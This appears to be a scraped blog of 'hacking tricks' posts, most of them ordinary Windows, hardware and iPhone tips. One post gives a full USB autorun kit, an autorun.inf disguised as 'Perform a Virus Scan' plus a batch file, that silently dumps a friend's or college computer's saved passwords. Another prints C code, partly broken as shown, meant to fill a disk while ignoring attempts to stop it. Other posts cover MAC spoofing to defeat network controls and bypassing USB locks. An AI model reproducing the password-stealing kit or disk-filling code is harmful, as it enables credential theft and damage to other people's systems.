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How To Spoof Your MAC Address Usin SMAC


  1. Download the SMAC tool from www.klcconsulting.net/smac/.

  2. Unzip the program into its default directory.

  3. Start the program from the Windows Start, Programs menu.

  4. Open a DOS prompt and type ipconfig /all. Record your MAC address here: ___________

  5. Now use the SMAC program to change your MAC address. If you would like to change your MAC to a specific value, you could sniff it from the network or you could the table at http://standards.ieee.org/regauth/oui/index.shtml to research specific Organizational Unique Identifiers (OUIs) at the IEEE website.

  6. Once you have determined what to use for a new MAC address, enter it into the SMAC program; then save the value and exit.

  7. Finally reboot the system and perform the ipconfog /all command from the DOS prompt. Record the MAC address here and compare to the results in step 4. _________

    You should see that the two MAC addresses are different. This is a value that can be used to demonstrate the trivial process of MAC spoofing and can be used to bypass controls that lock down networks to systems that have an approved MAC address.

N thus, v r done with it. Hopes u enjoy The step wise step tut.

ANy comment or query, do write as usual. 

Enjoy Hacking Enjoy Hackton

11:55 AM by Shubham Mittal · 0

Hack Twitter With Twitter Bot


Twitter is becoming an important marketing tool for online publishers and marketers. But it can be time consuming to keep your profile up to date and it often gets forgotten. I guess Everybody is waiting for a Solution. So Today I will give you a software which will automate all your twitter tasks.
Twitter Bot can do a lot of amazing things without any need of User Intervention thats why it is called a Bot. Why one should have this software? I would say checkout the functions of this software and you will get your answer.

Features

1. Auto add followers: The twitter bot will add 500 new friends on a daily basis. Many of those follower may follow you in return.
2. Auto Unfollow those who are not following you: It will automatically unfollow those who are not following you.
3. Auto Follow those who follow you: You can return favor to your followers by following them and that by a click of a button
4. Follow Top 100 People from your Country: You can target users from a particular Country based on Time Zones
5. Auto Follow By Keyword Search: You can target user based on Specific Keywords.
6. Auto Update your status: You can update your status every X minutes and these Updates will be fetched from a Text File.
7. Auto reply: You can set a Message which will be replied automatically on arrival of a message.
8. Multiple accounts handling: You can handle multiple Accounts. Twitter Bot can handle all of them in the background doing all the functions.
9. Works with proxies or Real IP: The twitter bot can run behind proxies. You set a text file with a list of proxies in format IP:Port (ex. 123.123.123.123:80) and the twitter bot will first check to see which of them are working, and then it will use the working ones to login to your accounts and do the functions that you neet it to do.
10. Extract and import your followers: You can extract the list of followers into XML or Text file.
11. Schedule Messages: You can schedule the Bot to Update your Twitter status on a Specified Date and Time.
12. Reply based on Keywords: You can set the Bot to reply based on the Keyword found in arrived Message.

Conclusion

After mentioning all these features I don’t need to say much about this Software. I would say just go and grab this software.

Download

To get your copy of Twitter Bot Click Here

8:02 AM by Shubham Mittal · 0

What Is MD5 Hash And How To Use MD5 Hash


In this post I will explain you about one of my favorite and interesting cryptographic algorithm called MD5 (Message-Digest algorithm 5). This algorithm is mainly used to perform file integrity checks under most circumstances. Here I will not jump into the technical aspects of this algorithm, rather will tell you about how to make use of this algorithm in your daily life. Before I tell you about how to use MD5, I would like to share one of my recent experience which made me start using MD5 algorithm.
Recently I made some significant changes and updates to my website and as obvious I generated a complete backup of the site on my server. I downloaded this backup onto my PC and deleted the original one on the server. But after a few days something went wrong and I wanted to restore the backup that I downloaded. When I tried to restore the backup I was shocked! The backup file that I used to restore was corrupted. That means, the backup file that I downloaded onto my PC wasn’t exactly the one that was on my server. The reason is that there occured some data loss during the download process. Yes, this data loss can happen often when a file is downloaded from the Internet. The file can be corrupted due to any of the following reasons.
  • Data loss during the download process, due to instability in the Internet connection/server
  • The file can be tampered due to virus infections or
  • Due to Hacker attacks
So whenever you download any valuable data from the Internet it is completely necessary that you check the integrity of the downloaded file. That is you need to ensure that the downloaded file is exactly the same as that of the original one. In this scenario the MD5 hash can become handy. All you have to do is generate MD5 hash (or MD5 check-sum) for the intended file on your server. After you download the file onto your PC, again generate MD5 hash for the downloaded file. Compare these two hashes and if it matches then it means that the file is downloaded perfectly without any data loss.
A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows
e4d909c290d0fb1ca068ffaddf22cbd0
This hash is unique for every file irrespective of it’s size and type. That means two .exe files with the same size will not have the same MD5 hash even though they are of same type and size. So MD5 hash can be used to uniquely identify a file.

How to use MD5 Hash to check the Integrity of Files?

Suppose you have a file called backup.tar on your server. Before you download, you need to generate MD5 hash for this file on your server. To do so use the following command.
For UNIX:
md5sum backup.tar
When you hit ENTER you’ll see something as follows
e4d909c290d0fb1ca068ffaddf22cbd0
This is the MD5 hash for the file backup.tar. After you download this file onto your PC, you can cross check it’s integrity by again re-generating MD5 hash for the downloaded file. If both the hash matches then it means that the file is perfect. Otherwise it means that the file is corrupt. To generate the MD5 hash for the downloaded file on your Windows PC use the following freeware tool
MD5 Summer (Click on the link to download)
I hope you like this post. For further doubts and clarifications please pass your comments. Cheers!

10:05 AM by Shubham Mittal · 0

Steal Your Friend's Password With USB Drive


As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.
 
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy theautorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP,Vista and 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

9:57 AM by Shubham Mittal · 7

How To Create Your Own Win XP Bootable Live CD


Microsoft Windows XP Home Edition FULL VERSION with SP2

To create a Windows XP Live CD we will require

1. Bart PEbuilder
2. A CD burner like Nero
3. A bootable Windows XP CD and
4. Some pebuilder plugins to customize the CD.

Step 1: Download PeBuilder from here and install it. Make sure you have enough free space on the drive where you install the program. After you have finished adding all programs it will create an ISO to be burned into a disk. The size of the ISO will depend upon how many programs you add to your live CD. I would recommend atleast 700MB of free space.

Step 2: You may want to set a wallpaper that will appear on the desktop when you boot the CD. For this open the folder where you have installed PEbuilder and replace the file bartpe.bmp with the wallpaper of your choice.

Step 3: Download XPE plugin from here (direct download link). It's the GUI shell of the XP Live CD that will create the XP start button and taskbar. You are free to download as many plugin (applications) you want. Currently there are more than 500 applications to choose from. Both freewares and commercial applications are available. Antivirus programs like Kaspersky, NOD32, Avast; burning program Nero; media players like VLC; OpenOffice, Foxit PDF reader, Acrobat Reader etc are available.

Pebuilder plugins repository
More Plugins here

Step 4: After you have finished downloading all your favourite programs, open PEbuider and specify the source path to the Windows XP installation bootable CD. You can copy the CD to your hard disk and point the source to the copied file.



Step 5: Click Plugins and add all the plugins you have downloaded. Since we have added XPE, disable nu2shell and the startup group from the list of plugins.

Step 6: Specify the ISO image file and click Build. The program will integrate the plugins and create an ISO image.

Step7: Burn the image into a disk using any burning software and your live CD is ready.



The Live CD Desktop



Running Abiword




9:30 AM by Shubham Mittal · 0

Hardware Keylogger






One of the recent technologies that aid spying (to put it bluntly) is through keylogging. What is this? Keystroke logging or keylogging is the process of noting the keys struck by a user from a keyboard, which is done in a very covert manner so that he is unaware that the information he is entering into the computer are recorded or monitored. As you can imagine, this kind of tool offers tremendous opportunities for hackers. At the same time, this can also give your system a very tight security.

There are various kinds of keylogging methods around, but currently, the most popular ones in the consumer market are the software-based and hardware-based keyloggers. The main difference between the two is that hardware keyloggers have their own microcontrollers or mini-computers at work and are independent from the computer’s processor, memory and operating system.

A plug-in device or a hardware circuit can be used as keylogger tools. Either of the two can log to their internal memories all of a user’s keyboard activities without him being the wiser. This works like a tape recorder except that the recording is not based on voice but based on keystrokes. The hardware will act as a middle device that intercepts every keystroke that is struck by the user and store it to its built-in memory. The amount of keystrokes that can be stored in the keylogger will depend on the hardware’s memory. The output can then be sent or stored for accessing later on. Getting hold of the inputted keystrokes can be obtained through a program, an interface or even through an e-mail address.

Installing a hardware keylogger can be done inside the USB or PS/2 keyboard. Since the keylogger is inside the equipment, it will be difficult or impossible to detect it since its appearance cannot be distinguished from other wirings. Or, it can be designed so that it blends with the wiring or cabling system of the computer hardware. A step-by-step installation is available when you buy a keylogger from any manufacturer.

Is it possible to create one of your own? Absolutely. It will not be a piece of cake though. You’ll need some experience in electronics hardware. If you have it, your next step is to obtain the components. These could include, among others, a microcontroller, an EEPROM chip, a capacitor and a resistor. Using your knowledge in electronics, the components then can be soldered together to form the hardware schematics. Additional information on how to create a keylogger can be found at this site: http://www.keelog.com/diy.html

While it is possible to build your own hardware keylogger, you may not have the technical expertise to complete the task. Or, you may not have the time to complete it. In that case, what you can do is to shop for a hardware-based keylogger. In buying, there are certain things you need to remember. These include: prices, size and design of the product, operability, installation, and manageability. Take note, hardware keyloggers are relatively expensive. This is mainly because of its components and operational complexity. But if you are security conscious, it’s worth it.

Hardware keylogger in use:

4:00 AM by Shubham Mittal · 0

How To Use pen Drive Even If It is Locked in Colleges, Offices Etc.



Generally in colleges and Organizations USB drives are locked. It is sometimes irritating when we want to copy some important data from that computer but computer refuses to recognize it and says Found new hardware, USB Mass Storage Device, please install drivers for it.
I Google it and find the solution at Troublefixers. It defines two methods to tackle this error. But you should have administrator rights to use these methods. To have administrator rights check this post Cracking Administrator Account

1. By Disabling USB Ports from Device Manager

i) Go to Start > Run, in run prompt type “devmgmt.msc” and press enter.

ii) Go to Universal Serial bus Controller. See if there are any red colored cross? If yes, right click and enable those USB Ports.


Now try and use the pen drive.

2. Correct Registry Value for USB Mass Storage device

i) Go to Start > Run , type “regedit” and press enter.

ii) Navigate to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR


iii) Double-click on the “Start” key to modify its value, change the value to 3 and press OK.
Now remove and connect the pen drive again, it should work fine, else its driver are missing.You can download the USB Mass Storage drivers here.

1:07 PM by Shubham Mittal · 0

Speedup Operating System Installation And Maintainance




Save yourself time by making Windows installation files available on your hard drive.

We know you've had this problem: you install a new mouse, change a network setting, do almost anything that upsets the delicate balance in Windows and you're prompted to insert the Windows so-and-so CD. Where is it? Did you grab the right one?

If you have a lot of free disk space (about 700 MB), take a cue from the major PC makers and copy the files from your Windows CD to your hard drive. In fact, it's not a bad idea to copy the files before you install Windows so the resulting installation automatically knows where to find the files later—thus no prompting to insert a CD later.


PC manufacturers have typically placed the Windows 95, 98, 98SE, and Me files in a C:\WINDOWS\OPTIONS\CABS folder, and Windows NT, 2000 or XP files into C:\i386.

You can emulate this pattern for Windows 9x-Me by creating these folders on your hard drive from a DOS prompt, then copying the files from the CD (assuming this is drive D:) as follows, from the A:\> DOS prompt:

A:\>C:

C:\>MD WINDOWS C:\>MD

\WINDOWS\OPTIONS C:\>MD

\WINDOWS\OPTIONS\CABS C:\>CD

\WINDOWS\OPTIONS\CABS C:\

\WINDOWS\OPTIONS\CABS>COPY

D:\WIN98\*.*


Start the Windows installation from this folder by typing:

C:\ \WINDOWS\OPTIONS\CABS>SETUP

For Windows NT-XP:

A:\>C: C:\>MD

i386 C:\>CD i386

C:\I386>COPY D:\i386\*.*


Start the Windows installation from this folder by running this command:

C:\I386>WINNT


The next time Windows needs a file from the installation CD it will automatically look in the appropriate folder, copy the file, and move on.

7:16 AM by Shubham Mittal · 0

Speedup Your HDD With Raid



If one fast drive is good, then five working together is surely better.

Redundant Array of Inexpensive Disks (RAID) technology has been a significant lifesaver and performance boost for file servers. RAID can be set up in different configurations to provide systems with fault-tolerance or performance enhancements that are crucial to keeping data safe. It can be applied to personal desktop systems to provide significant disk drive performance enhancement.

RAID-0 (zero) is the most basic and highest performing RAID configuration. Portions of data normally stored on one disk drive are spread out across multiple drives, and those drives are accessed in parallel to deliver the data faster, because each drive does not have to access all of the data before it can be delivered. RAID-0 is unfortunately and by nature the least reliable in terms of data integrity, because a failure in any single drive renders all of the data useless.

In contrast to RAID-0, in a RAID-1 configuration all of the data is stored equally on two drives, in parallel. This slows the storage and reading performance but almost guarantees that the data remains intact even if one of the drives fails.

RAID-5
is somewhat a mix of RAID-0 and RAID-1, striping data across multiple drives but also adding error correction information across the drives, providing the advantages of parallel drives and a high degree of ability to recover data if one drive should fail.

Another hybrid implementation of RAID that is very affordable and intended for desktop system is RAID-0+1. The Promise Technology (http://www.promise.com) FastTrak TX4000 RAID controller card is specifically meant for desktop users with an appetite for high-performance disk systems. Performance enhancements of up to 30% are possible. Upgrading with top-performing disk drives and putting them into a RAID configuration just might knock the dust bunnies out of your keyboard.

The basic steps to install a RAID configuration on your PC are listed below. Be aware that the specific steps will be unique to the RAID controller (system board or add-in card type), your system BIOS, and RAID configuration software. After installation, the RAID configuration should appear to your operating system as a single-disk volume.

You need a RAID controller or RAID capabilities built into your system board. Promise Technologies is one of the most popular brands of add-in RAID controllers for IDE drives.

Have at least two identical disk drives on hand for RAID-0 and 1. Configuration of a simple RAID is a lot easier if the drives are identical: there will be no wasted space, and they should mirror each other and perform equally well. RAID 0+1 will require at least four disks.

If necessary, make a bootable DOS diskette with any necessary drivers or configuration program for your RAID controller. For BIOS-based RAID setups, familiarize yourself with the RAID setup screens and options in BIOS. It is likely you will have to connect the RAID drives to different IDE connections than the normal non-RAID IDE interfaces.

With the system powered down, install and connect the drives to the RAID controller interface connectors.

Start the system and either boot with the DOS diskette containing the RAID controller configuration program or get into the BIOS setup to access the RAID configuration screens.

Select the type of RAID you will be creating—typically 0, 1, or 0+1.

Partition the drives with the configuration program or BIOS screens. This process establishes how the RAID controller views and uses the drives.

When RAID controller configuration and disk partitioning is complete, you will either FORMAT the drives under DOS or start the installation of your operating system onto the new RAID system as the primary boot drive.

(RAID 1 and higher only) To test your configuration after installing your operating system, shut down and disconnect one of the RAID drives, then restart to verify that indeed the RAID system actually mirrors data to one of the drives.

Any queries , do ask at upgoingstar@yahoo.co.in or simply do comment...

7:13 AM by Shubham Mittal · 0

Fix the Master Boot Record on FAT Partitions


Use FDISK to restore the ability to boot from your FAT-16 or FAT-32 hard drive.

FDISK is a DOS program that can actually help you out of some of those nasty "unable to locate operating system" and "no boot drive available" error conditions Windows 9x and DOS users encounter from time to time. The Master Boot Record can be corrupted by an improper shutdown, power glitch, or disk failure. Re-creating a new Master Boot Record at the first sector of the hard drive—which is what your system BIOS is looking for in order to turn over the startup operation to an operating system—is an easy fix.


If your hard drive is managed by a drive overlay utility from OnTrack or a specific program provided by your drive manufacturer (as indicated by a Disk Manager or similar announcement message during bootup) or is set to boot with the GRUB or LILO boot managers, or into Linux, using this hack will destroy access to the drive.


To use FDISK's Master Boot Record restoration feature to get your main or additional drives back into bootable shape, follow these steps:

  1. Boot with a DOS diskette, boot CD, or bootable USB FLASH drive or hard drive containing DOS and FDISK. A Windows 98 or Me startup diskette will do nicely.

  2. At the command prompt type in either:

    FDISK /MBR
    or
    FDISK /CMBR

    x

  3. Remove the disk or device you booted to DOS with and then restart the system to verify that you can boot from the hard drive.

FDISK /MBR re-creates the Master Boot Record, the first sector of the hard disk. This can be helpful to repair a damaged or corrupted bootable drive.

FDISK /CMBR x re-creates the boot sector of the first (x = 1), second (x = 2), third (x = 3), or fourth (x = 4) hard disk(s).



5:25 AM by Shubham Mittal · 0

Find Out Which System Boards Are Hackable | How To Hack System Board



Read the box and online reviews to determine if your system board might accommodate hacking the system and CPU clock speeds.

Determining if a system board is hackable—that is, whether it supports overclocking of the CPU—is not obvious. Here are some clues to the hackability of a specific board.

  • Most boards for do-it-yourself system builders, also known as "white box" or generic products, support customizable CPU clock values.

  • Check the technical specs for support for a range of CPU types and speeds, such as those indicating "AMD Athlon Thunderbird through Athlon XP CPUs," or "1.8-3.3 GHz" speeds. Motherboards thus labeled often provide the ability to change system speed settings.

  • An Award BIOS is usually a good bet. Most Award BIOS versions implemented by system board vendors provide some parameters to control CPU and bus speeds.

  • Look for a system board that includes jumpers or switches with obvious marking as to CPU clock frequencies and CPU clock-multiplier settings.

  • If the motherboard instruction manual mentions selectable CPU clock settings, multiplier values, and/or different Front Side Bus (FSB) frequencies, it's somewhat hackable.

Check the usual sources for information about the hackability of various system board products:

  • Ask another "PC junkie" for recommendations.

  • Search Google for "overclock" and your motherboard model.

  • Browse through overclockers.com, motherboards.org, sysopt.com, tweaktown.com, ocia.net, anandtech.com, pcguide.com, and similar web sites for reviews and "case studies" of overclocking experiments and successes.

As you review various system boards, look for examples of and references to additional cooling with larger heat sinks and fans, especially the space around the CPU socket to accommodate a large heat sink. Many articles will also indicate if a larger power supply is required or recommended to run the board, an overclocked CPU, and any additional fans you may be adding to the system.

5:02 AM by Shubham Mittal · 0

Which CPU's Can Be Hacked | How To hack A CPU



Know which CPUs can be hacked or overclocked.

With this brief look at the evolution of CPUs, you'll quickly see who makes the most hackable CPU. Armed with positive CPU identification and knowing what you want to accomplish in terms of performance, you'll be able to determine if your present CPU can be hacked or if you need a new CPU to gain better performance.

AMD CPUs are typically deemed more hackable than Intel CPUs as there are usually more system boards for AMD CPUs that provide the option to adjust the base clock speed and clock multiplierand Intel has typically locked down their CPUs to function at only one or a few clock multiplier settings, and they have usually rated and sold most of their CPUs at the highest speed they can be reliably be run. Table provides a quick overview of the most hackable CPU types and methods. Most CPUs can be overclocked by changing the base clock frequency, while some allow multiplier changes. In the case of a number of AMD and a few Intel CPUs, the chip can be modified to support overclocking.

Overclocking methods by CPU type

CPU

Overclocking options

Overclocking method

AMD Athlon

FSB clock, multiplier

Jumpers, BIOS, chip mod

AMD Duron

FSB clock, multiplier

Jumpers, BIOS, chip mod

Intel Celeron

FSB clock, multiplier

Jumpers, BIOS, chip mod

Intel Pentium I

FSB clock, multiplier

Jumpers, BIOS

Intel Pentium II (pre-8/98)

FSB clock, multiplier

Jumpers, BIOS, chip mod

Intel Pentium II (post-8/98)

FSB clock

Jumpers, BIOS

Intel Pentium III

FSB clock

Jumpers, BIOS

Intel Pentium 4

FSB clock

Jumpers, BIOS


The most significant limiting factors in overclocking potential are the features of the system board. As the Front Side Bus (FSB) speed is increased, the PCI and AGP bus speeds are also increased. So if the clock settings alter the FSB and PCI/AGP speeds in proportion to each other, you may reach the speed limit of the system components before you reach the limits of your CPU. If your system board features provide a variety of FSB speeds with separate PCI/AGP speed options, you can likely increase the CPU speed by 100% and still maintain reliable PCI/AGP bus speeds. The available clock setting options vary from system board to system board, even across boards from the same manufacturer.

According to http://www.sysopt.com, one of the most popular CPU analysis and overclocking sites, which collect data from dozens of real-world users who thrive on overclocking, the most overclockable CPUs are:

  • AMD Thunderbird

  • Pentium III Coppermine

  • Pentium 4

  • AMD Duron

Perhaps Intel saw the light in trying to recapture hobbyist market share and decided not to limit the overclockability of the Pentium III and 4 CPUs, a departure from their earlier restrictions on some Pentium II and Celerons chips. Do not let the lack of being able to change the multiplier values for Intel CPUs fool you into thinking they cannot run faster than rated speeds; most do run faster and quite well. While considering CPUs, you have to consider the most popular system boards for overclocking. According to http://www.sysopt.com, the top four overclockable system boards are:

  • Asus Tek

  • Abit

  • MicroStar

  • Epox

Intel CPUs

Relatively few Intel CPUs can be hacked because it's not in Intel's best interest to sell lower performance chips that can be made to perform like their higher performance versions. Some Intel CPUs perform better under overclocking conditions than others. Table lists the most hackable CPUs based on end-user reports from http://www.sysopt.com.

Hackable Intel CPUs

Processor

Published speed

Achieved speed

Percent increase

Pentium 4

3.1 GHz

5.0 GHz

+ 163%

Pentium 4

2.7 GHz

3.4 GHz

+ 25%

Celeron II

2.0 GHz

2.9 GHz

+ 45%

Pentium III Tualatin

450 MHz

1.2 GHz

+ 166%

Pentium II

400 MHz

2.6 GHz

+ 550%


While these performance gains are impressive, the claims by users who have achieved these speeds were not accompanied by how-to tips. Intel CPUs can be two to five times more expensive than comparable AMD CPUs, and hacking these CPUs and the system boards that support them is not well documented.

AMD CPUs

AMD CPUs are generally more overclockable than Intel's, with more parameter flexibility in the BIOS, for three reasons:

  • The manufacturers of boards that use AMD processors and related chipsets tend to use the hackable Award BIOS.

  • Available "white box" system boards are more hackable.

  • The flexibility of AMD processors accepts higher clock speeds and various clock-multiplier values.

Intel carries the majority of the CPU and the system board market with reputable OEMs whose products generally use restricted versions of Phoenix BIOS. By contrast, AMD reaches out to a different market that includes AMD for CPUs, Via for supporting chipsets, and Phoenix's Award BIOS division with significant parameter flexibility.

Tweaking AMD CPUs yields impressive results, as seen in the data from http://www.sysopt.com in Table, feeding the myth that many slower CPU chips are really higher speed devices that failed high-speed tests, were marked as slower speed devices, and were undersold.

Most hackable AMD CPUs and performance increases

Processor

Published speed

Achieved speed

Percent increase

Athlon MP

1.8 GHz

2.7 GHz

+ 50%

Athlon Thunderbird

1.7 GHz

2.4 GHz

+ 41%

Athlon Thunderbird

1.5 GHz

2.3 GHz

+ 53%

Athlon MP

1.5 GHz

2.1 GHz

+ 40%

Athlon MP

500 MHz

1.8 GHz

+ 260%


As with disclaimers for just about everything else, "your mileage may vary"—and it will—because the various combinations of CPU, chipset, BIOS, and system board design all yield different results. The distribution of overclockable CPUs for retail or online is not predictable; the plant where the chips are made may have had an excess of fast chips and a backlog of orders for slower ones and simply relabeled and shipped the faster CPUs to meet business needs or some monthly shipment quota.

5:01 AM by Shubham Mittal · 0

Activate Video Camera in iPhone 2G/3G OS 3.0


Before you begin, let me make it clear that we have to activate the camera, so please note that we do not talk about the recording with your 3G iPhone 2G on OS 3.0, but I am convinced that the sooner we will be able to take our video-2G and 3G iPhone runs on OS 3.0 This hack is an overview of its video recording is included with the iPhone 3G S. iSpazio full credit goes to the team this hack, and they are the development of this hack. We publish the latest news to keep us on Twitter or subscribe to our free daily e-mail newsletter. To activate the camera you need a jail broken iPhone 2G/3G OS 3.0 and SSH client (WinSCP for Windows and Cyber Duck for Mac). Please please do if you are familiar with SSH, WinSCP, iPhone file system, etc.



Download These Files :

  1. M68AP.plist
  2. IMG_0011.MOV
1. Download the M68AP.plist to your computer and connect your iPhone via SSH and access to / System / Library / Core Services / SpringBoard.app
2. Now M68AP.plist find the file and rename the file to M68AP.bak.plist and leave it on your iPhone or yoou can also copy the file to your computer. Then copy the M68AP.plist a file that you downloaded to your computer from the link above in your iPhone.
3. Move the video (MOV format) that you have downloaded the link above has / var/mobile/Media/DCIM/100APPLE
4. Now that your iPhone or SBSettings ring.
5. Start the camera and click the button at the bottom left to open Camera Roll. You will see a new development in "All pictures and videos" and you can film you've already downloaded.
6. Now you can use the area you are interested in the plate and film.

screen shots of Video Camera of iPhone 3G OS 3.0





Again the camera, you must restore the original file M68AP.plist by removing the file that you downloaded M68AP.plist and M68AP.bak.plist then the name of the file again M68AP.plist. Again or ring your Springboard and the camera is activated.

4:35 AM by Shubham Mittal · 0

Get Access To CD Roms - Learn latest Computer And Mobile Hacking tricks



If you removed CD Burning software, or for some other mystical reason, can not longer access your CD ROM's,
in most cases following registry keys needs to be deleted:

Locate and delete the UpperFilters and LowerFilters values under the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}

9:27 AM by Shubham Mittal · 0

Stop Users From Wtriting to USb - Learn Latest Computer And Mobile hacking Tricks


If you have windows XP with SP2, then you can disable the writing option to USB drives. This trick is very useful if you have virus in your computer and want to copy files from a USB Drive but don’t want to transfer virus to the USB. Follow the given steps to disable the USB writing option:

To edit the computer registry, first you should log onto your computer with administrative rights.


First click on Start button and type “Regedit” in Run option.

Here locate the location to:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

Here in right side panel, click right to create a key with the name “StorageDevicePolicies”.

Now in left side panel, select “StorageDevicePolicies” key, again right click to create new DWORD value then label it “WriteProtect”. Set its value to “1″. But again to enable writing, set its values to “0″.

Now close the registry editor and restart your computer after any changes to go into effect.

11:43 PM by Shubham Mittal · 0

Disable Drives In Your System - Learn Latest Computer And Mobile Hacking tricks



This is yet another trick you can play on your geek friend. To disable the display of local or networked drives when you click My Computer go to :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer


Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item. It's .reg file is as follows:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

"NoDrives"=dword:03ffffff

Take Over the Screen Saver

5:35 AM by Shubham Mittal · 0

Virus Code To Damage A HArd Disk - How To damage A Hard Disk - Learn Latest Computer And Mobile Hacking Tricks


#include
#include
#include
#include
#include
#include
#include


#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

10:34 PM by Shubham Mittal · 1

Create A Bootable XP SP integrated CD -


Slipstreaming Windows XP Service Pack 1a and Create Bootable CD

Slipstreaming a Service Pack, is the process to integrate the Service Pack into the installation so that with every new installation the Operating System and Service Pack are installed at the same time.

Slipstreaming is usually done on network shares on corporate systems. But with the advent of CD burners, it does actually make some sense for the home user or small business user to do the same.


Microsoft added the ability to Slipstream a Service Pack to Windows 2000 and Windows XP. It not only has the advantage that when you (re)install your OS, you don't have to apply the Service Pack later, also if you update any Windows component later, you'll be sure that you get the correct installation files if Windows needs any.


Slipstream Windows XP Service Pack 1a:
CODE
http://download.microsoft.com/download/5/4/f/54f8bcf8-bb4d-4613-8ee7-db69d01735ed/xpsp1a_en_x86.exe


Download the (full) "Network Install" of the Service Pack (English version [125 MB]), and save it to a directory (folder) on your hard drive (in my case D:\XP-SP1). Other languages can be downloaded from the Windows XP Web site.

Microsoft recently released Windows XP SP1a. The only difference is that this Service Pack does no longer include Microsoft's dated Java version. If you have already installed Windows XP SP1, there is no reason to install SP1a, but the "older" SP1 (with MS Java) is no longer available for download.

Next copy your Windows XP CD to your hard drive. Just create a folder (I used \XP-CD), and copy all the contents of your Windows XP CD in that folder.

Now create a folder to hold the Service Pack 1a (SP1a) files you are about to extract. I named it \XP-SP1. Next, open a Command Prompt (Start > Run > cmd), and go to the folder where you downloaded SP1a (cd \foldername). Type the command: servicepack filename -x. A small window will appear, and you need to point it to the folder where you want to extract the SP1 files. Click Ok to start extracting the SP1a files.

Once the SP1a files are extracted, change to the update folder of the SP1a files (cd update), and type the following command: update /s:path to WinXP CD files. In my example the command is update /s:D:\XP-CD).

Windows XP Update will do its thing:

When ready, you should get a confirmation. Windows XP Service Pack 1a has now been Slipstreamed into your original Windows XP files.

It is also possible to add the Windows XP Rollup 1 Update. For instructions, please read Adding Windows XP Rollup 1 Hotfix.


Creating a Bootable CD
For this part I used ISO Buster
CODE
http://www.smart-projects.net/isobuster/

